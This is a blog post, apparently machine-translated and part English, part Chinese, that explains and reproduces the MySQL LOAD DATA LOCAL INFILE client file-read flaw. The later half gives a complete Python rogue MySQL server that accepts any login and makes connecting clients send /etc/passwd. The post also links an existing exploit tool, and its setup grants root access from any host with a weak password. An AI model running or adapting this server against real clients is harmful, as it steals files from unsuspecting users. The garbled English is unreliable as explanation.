Mysql LOAD DATA reads the client to reproduce any file vulnerability (Principle Analysis)

 

Environment to build

How to set Mysql support outreach?

 

use mysql; 
grant all privileges on *.* to 
root@'%' identified by '密码';   //授权语句
flush privileges;    //刷新配置

Mysql environment allows outreach provided on MAC
 

use mysql;
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';  //这一步是因为有的Mysql客户端是没有mysql_native_password这个模块的防止连接不上
update user set host = "%" where user = "root";
flush privileges;

 

This is only temporary as a memo, right when a knowledge point, ha ha
 

Vulnerability reproduction

  • LOAD DATA INFILE
load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';

 
The first is to read the contents of files on the server is stored in the table, the second is the content of the document is read into the client's table (Obviously we should take advantage of a second)
 

  • Vulnerability Analysis
使用tcpdump将3306的包内容保存成为cap格式用wireshark打开分析登录过程
tcpdump  -i lo1  port 3306 -w test.cap. // 这里面要监听本地网卡,一定是本地的,不然抓取的tcp包是空的
mysql -u root -p

Service packages and sends greeting to customers some of the server-side banner information

 
and some settings
 

Obviously LOAD DATA LOCAL is set
 

The client sends a login request containing the user name and LOAD DATA LOCAL for information

 
Then sends a series of queries
 

 
Then the client sends a query packet, we return a Response TABULAR package

To read a file's content is the absolute path
 

After a client and then the next package, we can really get content

 

Finishing Ideas

The analysis shows, the client when connecting Mysql server, and if after sending a query packet (Mysql connections when there will be initialized inquiry, in other words as long as the connection to us, we can send Paylaod), we returned to the client file absolute path, the client will be sent over the content of the document (as long as the package we send is the standard protocols Mysql, Mysql in these official documents are any).
 

I would not Mysql the local MAC (version 8.0.17, because it would not send a query)

With the windows of Phpstudy tried it, or can

POC analysis (fake Mysql server)

#!/usr/bin/python
#coding: utf8
import socket

# linux :
#filestring = "/etc/passwd"
# windows:
#filestring = "C:\Windows\system32\drivers\etc\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3306
BUFFER_SIZE = 1024

#1 Greeting
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"

#3 Payload
#数据包长度
payloadlen = "\x0c"
padding = "\x00\x00"
payload = payloadlen + padding +  "\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)

while True:
    conn, addr = s.accept()

    print 'Connection from:', addr
    conn.send(greeting)
    while True:
        data = conn.recv(BUFFER_SIZE)
        print " ".join("%02x" % ord(i) for i in data)
        conn.send(authok)
        data = conn.recv(BUFFER_SIZE)
        conn.send(payload)
        print "[*] Payload send!"
        data = conn.recv(BUFFER_SIZE)
        if not data: break
        print "Data received:", data
        break
    # Don't leave the connection open.
    conn.close()

 
 

  • first step
客户端发送请求数据包
服务端发送Mysql的Greet与banner信息

Take a look on how the script is structured

greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"

可以看见服务器这边是直接写死的东西(伪造的是Ubuntu主机).
 
另外这个greeting的包是有一定格式的,这里面直接粘贴的是大佬们的格式
 

  • 第二步
客户端发送认证请求(用户名与密码)
这里面我们当然要保证无论输入什么密码都是可以的

 
这个是脚本中的认证成功后发送的包

authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
  • 之后就等待用户发送query包,我们返回请求客户端文件的paylaod语句

值得一提这个包是有一定格式的
 
我们在wireshark中可以看到
 

至于为什么是12个字节(/etc/passwd是11个字节),猜测是后面有\x00的存在
 

  • 第四步获取到信息

没啥好说的直接输出就行了

 

利用的exp

 
 
https://github.com/Gifts/Rogue-MySql-Server
 
原本是想自己写的,但是emmmm,不说了,写了好久还没有写出来

Guess you like

Origin www.cnblogs.com/Mikasa-Ackerman/p/Mysql-LOAD-DATA-du-qu-ke-hu-duan-ren-yi-wen-jian-l.html